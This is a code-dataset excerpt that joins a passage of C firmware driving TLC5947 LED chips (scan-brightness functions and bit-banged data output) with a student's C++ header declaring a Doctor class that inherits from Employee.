float scanindex = (1.0f + sinf(degreeoffset*3.14159f/180.0f)) * ((float)(count * 24 ) / 2.0);
for(unsigned int LEDindex = 0; LEDindex < (count ); LEDindex++) {
brightnessfactor = expf(0.0f - fabs(scanindex - ((float)LEDindex + 0.5f)) * 1.3f);
LEDChannels[LEDindex] = red * brightnessfactor;
}
}
void LEDscan2Add(int red, float degreeoffset,unsigned int count)
{
float brightnessfactor = 0.0f;
float scanindex = (1.0f + sinf(degreeoffset*3.14159f/180.0f)) * ((float)(count * 24 ) / 2.0);
for(unsigned int LEDindex = 0; LEDindex < (count ); LEDindex++) {
brightnessfactor = expf(0.0f - fabs(scanindex - ((float)LEDindex + 0.5f)) * 1.3f);
LEDChannels[LEDindex] += red * brightnessfactor;
if( LEDChannels[LEDindex] > 4095 ) LEDChannels[LEDindex] = 4095;
}
}
void LEDscan3(int red, float degreeoffset,unsigned int count)
{
float brightnessfactor = 0.0f;
float scanindex = (1.0f + sinf(degreeoffset*3.14159f/180.0f)) * ((float)(count * 24 ) / 2.0);
for(unsigned int LEDindex = 0; LEDindex < (count); LEDindex++) {
brightnessfactor = expf(0.0f - fabs(scanindex - ((float)LEDindex + 0.5f)) * 1.3f);
LEDChannels[LEDindex] = 4096-(red * brightnessfactor);
}
}
void WriteArrayOffset(unsigned int count, unsigned int offset)
{
PORTD.OUT &= ~(1 << LATPIN);
_delay_us(30);
unsigned short tempOne = 0;
unsigned int tempOffset = 0;
for (unsigned int i = 0; i < (count ); i++) {
if (i+offset>=count) tempOffset = offset-(count);
else tempOffset = offset;
tempOne = LEDChannels[i+tempOffset];
for (int j = 0; j < 12; j++) {
if ((tempOne >> (11 - j)) & 1) {
PORTD.OUT |= (1 << DATPIN);
}
else {
PORTD.OUT &= ~(1 << DATPIN);
}
PORTD.OUT |= (1 << CLKPIN);
PORTD.OUT &= ~(1 << CLKPIN);
}
}
PORTD.OUT |= (1 << LATPIN);
_delay_us(30);
}
//------------------------------------------------------------------------------------------
// Sets up TLC5947 and MMA7455
//------------------------------------------------------------------------------------------
void LED_Init(void)
{
// Setup TLC5947 pins
// DATDDR |= ( SIN_PIN |SCLK_PIN|BLANK_PIN | XLAT_PIN );
// DATPORT |= ( SIN_PIN |SCLK_PIN|BLANK_PIN | XLAT_PIN );
// full bright
brightnessShift = 0;
PORTD.OUT &= ~(LATPIN);
PORTD.OUT &= ~(BLANK_PIN);
// clear the array
memset(LEDChannels,0,sizeof(LEDChannels)*sizeof(uint16_t));
// push off empty, do this before the sleep setup
WriteLEDArray(NUM_TLC5947);
}
|
C++ | UTF-8 | 705 | 2.703125 | 3 | [] | no_license | /**********************************************************
* Name:Junhee Kim
* Student ID:159777184
* Seneca email:jkim552@myseneca.ca
* Section:NCC
**********************************************************/
//I have done all the coding by myself and only copied the code that my profes-sor provided to complete my workshops and assignments.
#ifndef SDDS_DOCTOR_H
#define SDDS_DOCTOR_H
#include <iostream>
#include "Employee.h"
namespace sdds {
class Doctor : Employee{
private:
char type[32];
bool isSpecialist;
public:
Doctor(char* doc, double hourly, int min, bool special = false);
double getSalary(int workedHours);
std::ostream& display(std::ostream& out);
};
}
#endif // !SDDS_DOCTOR_H
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.